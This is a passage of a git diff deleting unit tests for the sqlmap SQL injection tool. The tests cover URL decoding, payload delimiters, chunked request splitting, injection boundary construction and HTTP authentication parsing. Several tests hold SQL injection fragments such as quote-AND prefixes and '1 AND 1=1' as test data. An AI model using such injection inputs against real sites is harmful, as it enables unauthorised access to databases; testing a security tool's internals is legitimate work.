test_oserror_prefixed_with_type(self): - from lib.core.common import getSafeExString - self.assertEqual(getSafeExString(OSError(0, "foobar")), "OSError: foobar") - - def test_generic_value_error(self): - from lib.core.common import getSafeExString - self.assertEqual(getSafeExString(ValueError("bad input")), "ValueError: bad input") - - -class TestCommonHostHeader(unittest.TestCase): - def test_plain_host(self): - from lib.core.common import getHostHeader - self.assertEqual(getHostHeader("http://www.target.com/vuln.php?id=1"), "www.target.com") - - def test_default_port_stripped(self): - from lib.core.common import getHostHeader - self.assertEqual(getHostHeader("http://www.target.com:80/x"), "www.target.com") - self.assertEqual(getHostHeader("https://www.target.com:443/x"), "www.target.com") - - def test_nondefault_port_kept(self): - from lib.core.common import getHostHeader - self.assertEqual(getHostHeader("http://www.target.com:8080/x"), "www.target.com:8080") - - def test_ipv6_brackets(self): - from lib.core.common import getHostHeader - self.assertEqual(getHostHeader("http://[::1]:8080/vuln.php?id=1"), "[::1]:8080") - self.assertEqual(getHostHeader("http://[::1]/vuln.php?id=1"), "[::1]") - - -class TestCommonCheckSameHost(unittest.TestCase): - def test_same_host(self): - from lib.core.common import checkSameHost - self.assertTrue(checkSameHost( - "http://www.target.com/page1.php?id=1", - "http://www.target.com/images/page2.php", - )) - - def test_different_host(self): - from lib.core.common import checkSameHost - self.assertFalse(checkSameHost( - "http://www.target.com/page1.php?id=1", - "http://www.target2.com/images/page2.php", - )) - - def test_www_prefix_ignored(self): - from lib.core.common import checkSameHost - # leading 'www.' is stripped before comparison - self.assertTrue(checkSameHost("http://www.target.com/a", "http://target.com/b")) - - def test_single_url_true_and_empty_none(self): - from lib.core.common import checkSameHost - self.assertTrue(checkSameHost("http://only.com/a")) - self.assertIsNone(checkSameHost()) - - -class TestCommonUrldecode(unittest.TestCase): - def test_convall_true(self): - from lib.core.common import urldecode - self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=True), "AND 1>(2+3)#") - - def test_convall_false_keeps_unsafe(self): - from lib.core.common import urldecode - # %2B (plus) is in the default 'unsafe' set so it stays encoded when convall=False - self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") - - def test_bytes_input(self): - from lib.core.common import urldecode - self.assertEqual(urldecode(b"AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") - - def test_spaceplus(self): - from lib.core.common import urldecode - # with spaceplus the '+' becomes a space - self.assertEqual(urldecode("a+b", convall=False, spaceplus=True), "a b") - # without spaceplus the '+' stays - self.assertEqual(urldecode("a+b", convall=False, spaceplus=False), "a+b") - - -class TestCommonChunkSplit(unittest.TestCase): - def test_chunk_split_post_data(self): - import random - from lib.core.common import chunkSplitPostData - from lib.core.patch import unisonRandom - # The pinned docstring value is produced under sqlmap's cross-version PRNG; install it - # (then restore the stdlib functions) so the expectation is deterministic here too. - _saved = (random.choice, random.randint, random.sample, random.seed) - unisonRandom() - try: - random.seed(0) - expected = ('5;4Xe90\r\nSELEC\r\n3;irWlc\r\nT u\r\n1;eT4zO\r\ns\r\n' - '5;YB4hM\r\nernam\r\n9;2pUD8\r\ne,passwor\r\n3;mp07y\r\nd F\r\n' - '5;8RKXi\r\nROM u\r\n4;MvMhO\r\nsers\r\n0\r\n\r\n') - self.assertEqual(chunkSplitPostData("SELECT username,password FROM users"), expected) - finally: - random.choice, random.randint, random.sample, random.seed = _saved - - def test_chunk_split_terminator(self): - import random - from lib.core.common import chunkSplitPostData - random.seed(123) - # regardless of content, the chunked stream must end with the zero-length terminator - self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) - - -class TestCommonDecodeIntToUnicode(unittest.TestCase): - def tearDown(self): - set_dbms(None) - - def test_basic_ascii(self): - from lib.core.common import decodeIntToUnicode - self.assertEqual(decodeIntToUnicode(35), "#") - self.assertEqual(decodeIntToUnicode(64), "@") - self.assertEqual(decodeIntToUnicode(65), "A") - - def test_non_int_passthrough(self): - from lib.core.common import decodeIntToUnicode - # non-int is returned unchanged - self.assertEqual(decodeIntToUnicode("x"), "x") - - def test_pgsql_high_codepoint(self): - from lib.core.common import decodeIntToUnicode - set_dbms(DBMS.PGSQL) - # value > 255 on PGSQL takes the _unichr(value) branch - self.assertEqual(decodeIntToUnicode(0x2122), u"™") - - -class TestCommonDecodeDbmsHex(unittest.TestCase): - def setUp(self): - self._old_binary = kb.binaryField - kb.binaryField = False - - def tearDown(self): - kb.binaryField = self._old_binary - set_dbms(None) - - def test_plain_hex(self): - from lib.core.common import decodeDbmsHexValue - self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") - - def test_odd_length_appends_question_mark(self): - from lib.core.common import decodeDbmsHexValue - self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") - - def test_list_input(self): - from lib.core.common import decodeDbmsHexValue - self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) - - def test_non_hex_passthrough(self): - from lib.core.common import decodeDbmsHexValue - self.assertEqual(decodeDbmsHexValue("5.1.41"), u"5.1.41") - - -class TestCommonUnsafeSQLIdentificator(unittest.TestCase): - def tearDown(self): - set_dbms(None) - - def test_mssql_brackets(self): - from lib.core.common import unsafeSQLIdentificatorNaming - from lib.core.common import getText - set_dbms(DBMS.MSSQL) - self.assertEqual(getText(unsafeSQLIdentificatorNaming("[begin]")), "begin") - self.assertEqual(getText(unsafeSQLIdentificatorNaming("foobar")), "foobar") - - def test_mysql_backticks(self): - from lib.core.common import unsafeSQLIdentificatorNaming, getText - set_dbms(DBMS.MYSQL) - self.assertEqual(getText(unsafeSQLIdentificatorNaming("`col`")), "col") - - def test_oracle_uppercases(self): - from lib.core.common import unsafeSQLIdentificatorNaming, getText - set_dbms(DBMS.ORACLE) - # Oracle strips double quotes and uppercases - self.assertEqual(getText(unsafeSQLIdentificatorNaming('"name"')), "NAME") - - -class TestCommonParseSqliteSchema(unittest.TestCase): - def setUp(self): - self._old_cached = kb.data.get("cachedColumns") - self._old_db = conf.db - self._old_tbl = conf.tbl - kb.data.cachedColumns = {} - conf.db = "SQLITE_MASTER" - conf.tbl = "users" - - def tearDown(self): - kb.data.cachedColumns = self._old_cached - conf.db = self._old_db - conf.tbl = self._old_tbl - - def test_simple_schema(self): - from lib.core.common import parseSqliteTableSchema - self.assertTrue(parseSqliteTableSchema( - "CREATE TABLE users(\n\t\tid INTEGER,\n\t\tname TEXT\n);")) - cols = kb.data.cachedColumns[conf.db][conf.tbl] - self.assertEqual(tuple(cols.items()), (("id", "INTEGER"), ("name", "TEXT"))) - - def test_constraints_skipped(self): - from lib.core.common import parseSqliteTableSchema - self.assertTrue(parseSqliteTableSchema( - "CREATE TABLE suppliers(\n\tsupplier_id INTEGER PRIMARY KEY DESC,\n\tname TEXT NOT NULL\n);")) - cols = kb.data.cachedColumns[conf.db][conf.tbl] - self.assertEqual(tuple(cols.items()), (("supplier_id", "INTEGER"), ("name", "TEXT"))) - - -class TestAgentPure(unittest.TestCase): - """Pure agent.py methods independent of full injection state.""" - - @classmethod - def setUpClass(cls): - from lib.core.agent import agent - cls.agent = agent - - def tearDown(self): - set_dbms(None) - - def test_get_comment_present(self): - from lib.core.datatype import AttribDict - request = AttribDict() - request.comment = "-- foo" - self.assertEqual(self.agent.getComment(request), "-- foo") - - def test_get_comment_absent(self): - from lib.core.datatype import AttribDict - request = AttribDict() - self.assertEqual(self.agent.getComment(request), "") - - def test_add_payload_delimiters(self): - from lib.core.settings import PAYLOAD_DELIMITER - value = "1 AND 1=1" - result = self.agent.addPayloadDelimiters(value) - self.assertEqual(result, "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER)) - # falsy value returned unchanged - self.assertEqual(self.agent.addPayloadDelimiters(""), "") - - def test_remove_payload_delimiters_roundtrip(self): - self.assertEqual( - self.agent.removePayloadDelimiters(self.agent.addPayloadDelimiters("1 AND 1=1")), - "1 AND 1=1", - ) - - def test_extract_payload(self): - wrapped = "prefix" + self.agent.addPayloadDelimiters("1 AND 1=1") + "suffix" - self.assertEqual(self.agent.extractPayload(wrapped), "1 AND 1=1") - - def test_replace_payload(self): - wrapped = "prefix" + self.agent.addPayloadDelimiters("OLD") + "suffix" - replaced = self.agent.replacePayload(wrapped, "NEW") - self.assertEqual(self.agent.extractPayload(replaced), "NEW") - # surrounding text preserved - self.assertTrue(replaced.startswith("prefix")) - self.assertTrue(replaced.endswith("suffix")) - - def test_simple_concatenate_mysql(self): - set_dbms(DBMS.MYSQL) - # MySQL concatenate query template is 'CONCAT(%s,%s)' - self.assertEqual(self.agent.simpleConcatenate("a", "b"), "CONCAT(a,b)") - - def test_hex_convert_field_mysql(self): - set_dbms(DBMS.MYSQL) - # MySQL hex template is 'HEX(%s)' - self.assertEqual(self.agent.hexConvertField("col"), "HEX(col)") - - def test_get_fields_select_from(self): - set_dbms(DBMS.MYSQL) - result = self.agent.getFields("SELECT a, b FROM users") - fieldsToCastList = result[5] - fieldsToCastStr = result[6] - self.assertEqual(fieldsToCastStr, "a, b") - self.assertEqual(fieldsToCastList, ["a", "b"]) - - def test_get_fields_no_from(self): - set_dbms(DBMS.MYSQL) - # a bare SELECT without FROM -> fieldsSelectFrom is None, casts the whole select list - result = self.agent.getFields("SELECT 1") - fieldsSelectFrom = result[0] - self.assertIsNone(fieldsSelectFrom) - self.assertEqual(result[6], "1") - - -class TestAgentWhereQuery(unittest.TestCase): - @classmethod - def setUpClass(cls): - from lib.core.agent import agent - cls.agent = agent - - def setUp(self): - self._old_dumpWhere = conf.dumpWhere - self._old_tbl = conf.tbl - conf.tbl = None - - def tearDown(self): - conf.dumpWhere = self._old_dumpWhere - conf.tbl = self._old_tbl - set_dbms(None) - - def test_no_dumpwhere_passthrough(self): - conf.dumpWhere = None - query = "SELECT a FROM t" - self.assertEqual(self.agent.whereQuery(query), query) - - def test_appends_where_clause(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>0" - # no existing WHERE -> appends ' WHERE id>0' - self.assertEqual(self.agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t WHERE id>0") - - def test_and_when_where_present(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>0" - # existing WHERE -> appended with AND - self.assertEqual( - self.agent.whereQuery("SELECT a FROM t WHERE x=1"), - "SELECT a FROM t WHERE x=1 AND id>0", - ) - - def test_splices_before_order_by(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>0" - # WHERE must be spliced before the trailing ORDER BY suffix - self.assertEqual( - self.agent.whereQuery("SELECT a FROM t ORDER BY a"), - "SELECT a FROM t WHERE id>0 ORDER BY a", - ) - - -class TestBasicHeuristicCharEncoding(unittest.TestCase): - def test_ascii(self): - from lib.request.basic import getHeuristicCharEncoding - self.assertEqual(getHeuristicCharEncoding(b""), "ascii") - - def test_cache_hit_returns_same(self): - from lib.request.basic import getHeuristicCharEncoding - page = b"hello world" - first = getHeuristicCharEncoding(page) - # second call for identical page must come back identical (and from cache) - self.assertEqual(getHeuristicCharEncoding(page), first) - key = (len(page), hash(page)) - self.assertEqual(kb.cache.encoding.get(key), first) - - -class TestBasicDecodePage(unittest.TestCase): - """decodePage charset + HTML-entity decoding branches.""" - - def setUp(self): - self._old_encoding = conf.encoding - self._old_null = conf.nullConnection - conf.nullConnection = False - - def tearDown(self): - conf.encoding = self._old_encoding - conf.nullConnection = self._old_null - - def test_html_entity_amp(self): - from lib.request.basic import decodePage - from lib.core.common import getText - conf.encoding = None - self.assertEqual( - getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")), - "foo&bar", - ) - - def test_numeric_hex_entity_tab(self): - from lib.request.basic import decodePage - from lib.core.common import getText - conf.encoding = None - self.assertEqual(getText(decodePage(b" ", None, "text/html; charset=utf-8")), "\t") - - def test_numeric_hex_entity_letter(self): - from lib.request.basic import decodePage - from lib.core.common import getText - conf.encoding = None - self.assertEqual(getText(decodePage(b"J", None, "text/html; charset=utf-8")), "J") - - def test_unicode_entity(self): - from lib.request.basic import decodePage - conf.encoding = None - self.assertEqual(decodePage(b"™", None, "text/html; charset=utf-8"), u"™") - - def test_empty_page(self): - from lib.request.basic import decodePage - from lib.core.common import getText - # empty page short-circuits to getUnicode(page) - self.assertEqual(getText(decodePage(b"", None, "text/html")), "") - - -class TestOptionSetPrefixSuffix(unittest.TestCase): - """_setPrefixSuffix boundary construction (pure conf-mutation, no I/O).""" - - def setUp(self): - self._saved = {k: conf.get(k) for k in ("prefix", "suffix", "boundaries")} - - def tearDown(self): - for k, v in self._saved.items(): - conf[k] = v - - def _run(self, prefix, suffix): - from lib.core.option import _setPrefixSuffix - conf.prefix = prefix - conf.suffix = suffix - conf.boundaries = None - _setPrefixSuffix() - return conf.boundaries - - def test_none_no_boundary(self): - # when either prefix or suffix is None, no boundary is created - self.assertIsNone(self._run(None, None)) - - def test_single_quote_ptype(self): - boundaries = self._run("' AND ", "'") - self.assertEqual(len(boundaries), 1) - b = boundaries[0] - self.assertEqual(b.prefix, "' AND ") - self.assertEqual(b.suffix, "'") - self.assertEqual(b.ptype, 2) # single-quote, no LIKE - self.assertEqual(b.level, 1) - self.assertEqual(b.clause, [0]) - - def test_double_quote_ptype(self): - boundaries = self._run('" AND ', '"') - self.assertEqual(boundaries[0].ptype, 4) # double-quote, no LIKE - - def test_numeric_ptype(self): - boundaries = self._run(" AND ", "") - self.assertEqual(boundaries[0].ptype, 1) # no quoting - - def test_like_single_quote_ptype(self): - boundaries = self._run("' AND ", "' like '%") - self.assertEqual(boundaries[0].ptype, 3) # LIKE with single quote - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_core_final.py b/tests/test_core_final.py deleted file mode 100644 index 1e1119a4863..00000000000 --- a/tests/test_core_final.py +++ /dev/null @@ -1,605 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Additional unit coverage for lib/core/common.py, lib/core/option.py and -lib/core/target.py, targeting *pure* (or near-pure) functions and branches NOT -already exercised by the existing test modules: - - * tests/test_common_utils.py / test_common_parsers.py / test_core_more.py - * tests/test_option_setup.py / test_option_more.py - * tests/test_target_parsing.py - -This file instead covers (common.py): - - boldifyMessage, calculateDeltaSeconds, commonFinderOnly, - enumValueToNameLookup, extractErrorMessage, filePathToSafeString, - isWindowsDriveLetterPath, cleanReplaceUnicode, trimAlphaNum, - removePostHintPrefix, safeExpandUser, safeFilepathEncode, - serializeObject/unserializeObject, applyFunctionRecursively, - extractExpectedValue, getHeader, getRequestHeader, parseJson, - parsePasswordHash, findMultipartPostBoundary, setTechnique/getTechnique, - extractRegexResult, extractTextTagContent, getFilteredPageContent, - checkFile, listToStrValue, intersect, isZipFile, checkOldOptions. - -(option.py): - - _setHTTPAuthentication (basic/ntlm/bearer/pki + error branches), - _setWriteFile, _setHTTPTimeout, _setAuthCred. - -Everything runs in isolation: no network, no DBMS, no persistent filesystem -mutation. All mutated conf/kb/Backend/socket state is snapshotted and restored. -""" - -import os -import socket -import sys -import tempfile -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap -bootstrap() - -import lib.core.option as option -from lib.core.data import conf, kb, paths -from lib.core.enums import ( - AUTH_TYPE, - DBMS, - EXPECTED, - HTTP_HEADER, - SORT_ORDER, -) -from lib.core.exception import ( - SqlmapFilePathException, - SqlmapMissingMandatoryOptionException, - SqlmapMissingDependence, - SqlmapSyntaxException, - SqlmapSystemException, -) -from lib.core.settings import NULL -from lib.core.common import ( - applyFunctionRecursively, - boldifyMessage, - calculateDeltaSeconds, - checkFile, - checkOldOptions, - cleanReplaceUnicode, - commonFinderOnly, - enumValueToNameLookup, - extractErrorMessage, - extractExpectedValue, - extractRegexResult, - extractTextTagContent, - filePathToSafeString, - findMultipartPostBoundary, - getFilteredPageContent, - getHeader, - getRequestHeader, - getText, - getTechnique, - intersect, - isWindowsDriveLetterPath, - isZipFile, - listToStrValue, - parseJson, - parsePasswordHash, - removePostHintPrefix, - safeExpandUser, - safeFilepathEncode, - serializeObject, - setTechnique, - trimAlphaNum, - unserializeObject, -) -from thirdparty.six.moves import urllib as _urllib - - -class _FakeRequest(object): - """Minimal stand-in for urllib2.Request used by getRequestHeader().""" - - def __init__(self, headers): - self.headers = headers - - def header_items(self): - return self.headers.items() - - -class TestCommonPureHelpers(unittest.TestCase): - """Pure string/encoding/list/regex helpers from lib/core/common.py.""" - - def test_boldify_message_marks_known_pattern(self): - self.assertEqual( - boldifyMessage("GET parameter id is not injectable", istty=True), - "\x1b[1mGET parameter id is not injectable\x1b[0m", - ) - - def test_boldify_message_leaves_plain_unchanged(self): - self.assertEqual(boldifyMessage("just a plain message", istty=True), "just a plain message") - - def test_calculate_delta_seconds_from_epoch(self): - self.assertGreater(calculateDeltaSeconds(0), 1151721660) - - def test_calculate_delta_seconds_nonnegative(self): - import time as _time - self.assertGreaterEqual(calculateDeltaSeconds(_time.time()), 0.0) - - def test_common_finder_only_returns_longest_common_prefix(self): - self.assertEqual(commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]), "abcde") - - def test_enum_value_to_name_lookup_hit(self): - self.assertEqual(enumValueToNameLookup(SORT_ORDER, SORT_ORDER.LAST), "LAST") - - def test_enum_value_to_name_lookup_miss(self): - self.assertIsNone(enumValueToNameLookup(SORT_ORDER, -987654321)) - - def test_file_path_to_safe_string(self): - self.assertEqual(filePathToSafeString("C:/Windows/system32"), "C__Windows_system32") - - def test_file_path_to_safe_string_spaces_backslashes(self): - self.assertEqual(filePathToSafeString("a b\\c:d"), "a_b_c_d") - - def test_is_windows_drive_letter_path_true(self): - self.assertTrue(isWindowsDriveLetterPath("C:\\boot.ini")) - - def test_is_windows_drive_letter_path_false(self): - self.assertFalse(isWindowsDriveLetterPath("/var/log/apache.log")) - - def test_clean_replace_unicode_list(self): - self.assertEqual(cleanReplaceUnicode(["a", "b"]), ["a", "b"]) - - def test_clean_replace_unicode_scalar(self): - self.assertEqual(cleanReplaceUnicode(u"plain"), u"plain") - - def test_trim_alpha_num(self): - self.assertEqual(trimAlphaNum("AND 1>(2+3)-- foobar"), " 1>(2+3)-- ") - - def test_trim_alpha_num_all_alnum(self): - self.assertEqual(trimAlphaNum("abc123"), "") - - def test_trim_alpha_num_empty(self): - self.assertEqual(trimAlphaNum(""), "") - - def test_list_to_str_value_list(self): - self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") - - def test_list_to_str_value_tuple(self): - self.assertEqual(listToStrValue((4, 5)), "4, 5") - - def test_list_to_str_value_scalar(self): - self.assertEqual(listToStrValue("foo"), "foo") - - def test_intersect_lists(self): - self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) - - def test_intersect_lowercase(self): - self.assertEqual(intersect(["A", "B"], ["a"], lowerCase=True), ["a"]) - - def test_intersect_empty(self): - self.assertEqual(intersect([], [1, 2]), []) - - def test_apply_function_recursively(self): - self.assertEqual( - applyFunctionRecursively([1, 2, [3, -9]], lambda _: _ > 0), - [True, True, [True, False]], - ) - - def test_apply_function_recursively_scalar(self): - self.assertEqual(applyFunctionRecursively(5, lambda _: _ + 1), 6) - - -class TestCommonRegexAndPage(unittest.TestCase): - """Regex / page-content extraction helpers.""" - - def test_extract_regex_result_hit(self): - self.assertEqual(extractRegexResult(r"a(?P[^g]+)g", "abcdefg"), "bcdef") - - def test_extract_regex_result_no_match(self): - self.assertIsNone(extractRegexResult(r"a(?P[^g]+)g", "xyz")) - - def test_extract_regex_result_no_result_group(self): - self.assertIsNone(extractRegexResult(r"plain", "plain")) - - def test_extract_regex_result_empty_content(self): - self.assertIsNone(extractRegexResult(r"a(?P.)b", "")) - - def test_extract_text_tag_content(self): - self.assertEqual( - extractTextTagContent("Title
foobar
"), - ["Title", "foobar"], - ) - - def test_extract_text_tag_content_empty(self): - self.assertEqual(extractTextTagContent(""), []) - - def test_get_filtered_page_content(self): - self.assertEqual( - getFilteredPageContent(u"foobartest"), - "foobar test", - ) - - def test_get_filtered_page_content_drops_script(self): - page = u"hello" - self.assertNotIn("var x", getFilteredPageContent(page)) - self.assertIn("hello", getFilteredPageContent(page)) - - def test_get_filtered_page_content_nonstring_passthrough(self): - self.assertEqual(getFilteredPageContent(None), None) - - def test_extract_error_message_oracle(self): - page = (u"Test\nWarning: oci_parse() " - u"[function.oci-parse]: ORA-01756: quoted string not properly " - u"terminated

Only a test page

") - self.assertEqual( - getText(extractErrorMessage(page)), - "oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated", - ) - - def test_extract_error_message_none_for_plain(self): - self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) - - def test_extract_error_message_non_string(self): - self.assertIsNone(extractErrorMessage(None)) - - def test_find_multipart_post_boundary(self): - post = ("-----------------------------9051914041544843365972754266\n" - "Content-Disposition: form-data; name=text\n\ndefault") - self.assertEqual(findMultipartPostBoundary(post), "9051914041544843365972754266") - - def test_find_multipart_post_boundary_none(self): - self.assertIsNone(findMultipartPostBoundary("")) - - -class TestCommonHeadersAndExpected(unittest.TestCase): - - def test_get_header_case_insensitive(self): - self.assertEqual(getHeader({"Foo": "bar"}, "foo"), "bar") - - def test_get_header_missing(self): - self.assertIsNone(getHeader({"Foo": "bar"}, "x")) - - def test_get_header_empty_dict(self): - self.assertIsNone(getHeader({}, "anything")) - - def test_get_request_header_hit(self): - self.assertEqual(getText(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "foo")), "BAR") - - def test_get_request_header_miss(self): - self.assertIsNone(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "missing")) - - def test_extract_expected_value_bool_true(self): - self.assertIs(extractExpectedValue(["1"], EXPECTED.BOOL), True) - - def test_extract_expected_value_bool_false(self): - self.assertIs(extractExpectedValue(["0"], EXPECTED.BOOL), False) - - def test_extract_expected_value_bool_word(self): - self.assertIs(extractExpectedValue(["true"], EXPECTED.BOOL), True) - self.assertIs(extractExpectedValue(["false"], EXPECTED.BOOL), False) - - def test_extract_expected_value_int(self): - self.assertEqual(extractExpectedValue("5", EXPECTED.INT), 5) - - def test_extract_expected_value_int_invalid(self): - self.assertIsNone(extractExpectedValue(u"7\xb9645", EXPECTED.INT)) - - def test_extract_expected_value_no_expected(self): - self.assertEqual(extractExpectedValue("foo", None), "foo") - - -class TestParseJsonAndHash(unittest.TestCase): - - def test_parse_json_double_quotes(self): - self.assertEqual(parseJson('{"id":1}')["id"], 1) - - def test_parse_json_single_quotes(self): - self.assertEqual(parseJson("{'id':1, 'foo':[2,3,4]}")["id"], 1) - - def test_parse_json_not_json(self): - self.assertIsNone(parseJson("this is not json")) - - def test_parse_password_hash_mssql(self): - saved = kb.forcedDbms - try: - kb.forcedDbms = DBMS.MSSQL - result = parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") - self.assertIn("salt: 4086ceb6", result) - self.assertIn("header: 0x0100", result) - finally: - kb.forcedDbms = saved - - def test_parse_password_hash_none(self): - self.assertEqual(parsePasswordHash(None), NULL) - - def test_parse_password_hash_blank(self): - self.assertEqual(parsePasswordHash(" "), NULL) - - -class TestSerializeAndTechnique(unittest.TestCase): - - def test_serialize_roundtrip(self): - self.assertEqual(unserializeObject(serializeObject([1, 2, 3])), [1, 2, 3]) - - def test_serialize_object_is_str(self): - self.assertIsInstance(serializeObject([1, 2, ("a", "b")]), str) - - def test_unserialize_none(self): - self.assertIsNone(unserializeObject(None)) - - def test_set_get_technique_thread_local(self): - saved = getTechnique() - try: - setTechnique(5) - self.assertEqual(getTechnique(), 5) - finally: - setTechnique(saved) - - def test_get_technique_falls_back_to_kb(self): - saved_thread = getTechnique() - saved_kb = kb.get("technique") - try: - setTechnique(None) - kb.technique = 7 - self.assertEqual(getTechnique(), 7) - finally: - setTechnique(saved_thread) - kb.technique = saved_kb - - -class TestRemovePostHint(unittest.TestCase): - - def test_removes_known_prefix(self): - self.assertEqual(removePostHintPrefix("JSON id"), "id") - - def test_no_prefix_unchanged(self): - self.assertEqual(removePostHintPrefix("id"), "id") - - -class TestFileHelpers(unittest.TestCase): - - def test_check_file_existing(self): - self.assertTrue(checkFile(__file__)) - - def test_check_file_missing_no_raise(self): - self.assertFalse(checkFile("/no/such/path_xyz_123", raiseOnError=False)) - - def test_check_file_missing_raises(self): - with self.assertRaises(SqlmapSystemException): - checkFile("/no/such/path_xyz_123", raiseOnError=True) - - def test_is_zip_file_wordlist(self): - # paths.WORDLIST is a zip-compressed wordlist shipped with sqlmap - self.assertTrue(isZipFile(paths.WORDLIST)) - - def test_is_zip_file_plain_text(self): - self.assertFalse(isZipFile(paths.SQL_KEYWORDS)) - - def test_safe_filepath_encode_ascii_passthrough(self): - # On Python 3 the function returns the value unchanged for str input - self.assertEqual(safeFilepathEncode("/tmp/x"), "/tmp/x") - - def test_safe_expand_user_basename_preserved(self): - self.assertIn(os.path.basename(__file__), safeExpandUser(__file__)) - - -class TestCheckOldOptions(unittest.TestCase): - - def test_no_old_options_is_noop(self): - # Returns None and does not raise when no deprecated options are present - self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"])) - - -class TestOptionSetWriteFile(unittest.TestCase): - - def setUp(self): - self._saved = (conf.fileWrite, conf.fileDest, conf.get("fileWriteType")) - - def tearDown(self): - conf.fileWrite, conf.fileDest, conf.fileWriteType = self._saved - - def test_noop_when_no_filewrite(self): - conf.fileWrite = None - self.assertIsNone(option._setWriteFile()) - - def test_raises_on_missing_local_file(self): - conf.fileWrite = "/no/such/local_file_xyz" - conf.fileDest = "/var/www/x" - with self.assertRaises(SqlmapFilePathException): - option._setWriteFile() - - def test_raises_on_missing_dest(self): - fd, path = tempfile.mkstemp() - os.close(fd) - try: - conf.fileWrite = path - conf.fileDest = None - with self.assertRaises(SqlmapMissingMandatoryOptionException): - option._setWriteFile() - finally: - os.unlink(path) - - def test_sets_file_write_type(self): - fd, path = tempfile.mkstemp() - os.close(fd) - try: - conf.fileWrite = path - conf.fileDest = "/var/www/x" - option._setWriteFile() - self.assertIn(conf.fileWriteType, ("text", "binary")) - finally: - os.unlink(path) - - -class TestOptionSetHTTPTimeout(unittest.TestCase): - - def setUp(self): - self._savedTimeout = conf.timeout - self._savedSocket = socket.getdefaulttimeout() - - def tearDown(self): - conf.timeout = self._savedTimeout - socket.setdefaulttimeout(self._savedSocket) - - def test_explicit_timeout(self): - conf.timeout = 10 - option._setHTTPTimeout() - self.assertEqual(conf.timeout, 10.0) - - def test_below_minimum_is_clamped(self): - conf.timeout = 1 - option._setHTTPTimeout() - self.assertEqual(conf.timeout, 3.0) - - def test_default_when_unset(self): - conf.timeout = None - option._setHTTPTimeout() - self.assertEqual(conf.timeout, 30.0) - - -class TestOptionSetHTTPAuthentication(unittest.TestCase): - - def setUp(self): - self._saved = { - "authType": conf.authType, - "authCred": conf.authCred, - "authFile": conf.authFile, - "authUsername": conf.authUsername, - "authPassword": conf.authPassword, - "httpHeaders": list(conf.httpHeaders), - "passwordMgr": kb.passwordMgr, - } - # provide a real password manager so the basic/digest branches work - kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() - - def tearDown(self): - conf.authType = self._saved["authType"] - conf.authCred = self._saved["authCred"] - conf.authFile = self._saved["authFile"] - conf.authUsername = self._saved["authUsername"] - conf.authPassword = self._saved["authPassword"] - conf.httpHeaders = self._saved["httpHeaders"] - kb.passwordMgr = self._saved["passwordMgr"] - - def test_noop_when_nothing_set(self): - conf.authType = None - conf.authCred = None - conf.authFile = None - self.assertIsNone(option._setHTTPAuthentication()) - - def test_basic_credentials_parsed(self): - conf.authType = "basic" - conf.authCred = "admin:secret" - conf.authFile = None - option._setHTTPAuthentication() - self.assertEqual(conf.authUsername, "admin") - self.assertEqual(conf.authPassword, "secret") - - def test_ntlm_credentials_parsed(self): - conf.authType = "ntlm" - conf.authCred = "DOMAIN\\user:pa:ss" - conf.authFile = None - conf.authUsername = None - conf.authPassword = None - # The python-ntlm handler module is optional; credential parsing happens - # before the handler import, so the parsed creds are set regardless. - try: - option._setHTTPAuthentication() - except SqlmapMissingDependence: - pass - self.assertEqual(conf.authUsername, "DOMAIN\\user") - self.assertEqual(conf.authPassword, "pa:ss") - - def test_ntlm_bad_format_raises(self): - conf.authType = "ntlm" - conf.authCred = "nobackslash:pass" - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - def test_bearer_appends_authorization_header(self): - conf.authType = "bearer" - conf.authCred = "tok123" - conf.authFile = None - conf.httpHeaders = [] - option._setHTTPAuthentication() - self.assertIn((HTTP_HEADER.AUTHORIZATION, "Bearer tok123"), conf.httpHeaders) - - def test_unsupported_type_raises(self): - conf.authType = "wrongtype" - conf.authCred = "a:b" - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - def test_type_without_credentials_raises(self): - conf.authType = "basic" - conf.authCred = None - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - def test_credentials_without_type_raises(self): - conf.authType = None - conf.authCred = "a:b" - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - def test_authfile_without_type_defaults_to_pki(self): - conf.authType = None - conf.authCred = None - conf.authFile = __file__ # exists, so checkFile() inside PKI branch passes - option._setHTTPAuthentication() - self.assertEqual(conf.authType, AUTH_TYPE.PKI) - - def test_pki_type_without_authfile_raises(self): - conf.authType = "pki" - conf.authCred = "x" - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - -class TestOptionSetAuthCred(unittest.TestCase): - - def setUp(self): - self._saved = { - "scheme": conf.scheme, - "hostname": conf.hostname, - "port": conf.port, - 